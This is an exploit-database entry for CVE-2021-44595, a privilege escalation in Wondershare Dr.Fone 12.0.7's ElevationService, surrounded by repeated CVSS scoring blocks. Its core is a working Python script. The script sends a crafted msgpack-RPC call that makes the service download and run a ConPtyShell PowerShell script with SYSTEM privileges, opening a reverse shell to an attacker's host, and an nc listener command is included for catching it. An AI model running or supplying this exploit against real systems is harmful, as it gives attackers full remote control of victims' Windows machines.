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K
zdtNetanel Cohen1337DAY-ID-37714
HistoryMay 12, 2022 - 12:00 a.m.

Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService) Exploit

2022-05-1200:00:00
Netanel Cohen
0day.today
223
wondershare dr.fone
privilege escalation
elevationservice
vulnerable
incorrect access control
windows 10
cve-2021-44595
netanel cohen
tomer peled
exploit
msgpackrpc
invoke-conptyshell
conptyshell

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.01

Percentile

84.1%

# Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService)
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44595
# References: https://github.com/netanelc305/WonderShell

#Wondershare Dr. Fone Latest version as of 2021-12-06 is vulnerable to Incorrect Access Control. A normal user can send manually crafted packets to the ElevationService.exe and #execute arbitrary code without any validation with SYSTEM privileges.

#!/bin/python3
import msgpackrpc

LADDR = "192.168.14.129"
LPORT =  1338

RADDR = "192.168.14.137"
RPORT = 12345

param = f"IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {LADDR} {int(LPORT)}"
client = msgpackrpc.Client(msgpackrpc.Address(RADDR, 12345))
result = client.call('system_s','powershell',param)

# stty raw -echo; (stty size; cat) | nc -lvnp 1338

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.01

Percentile

84.1%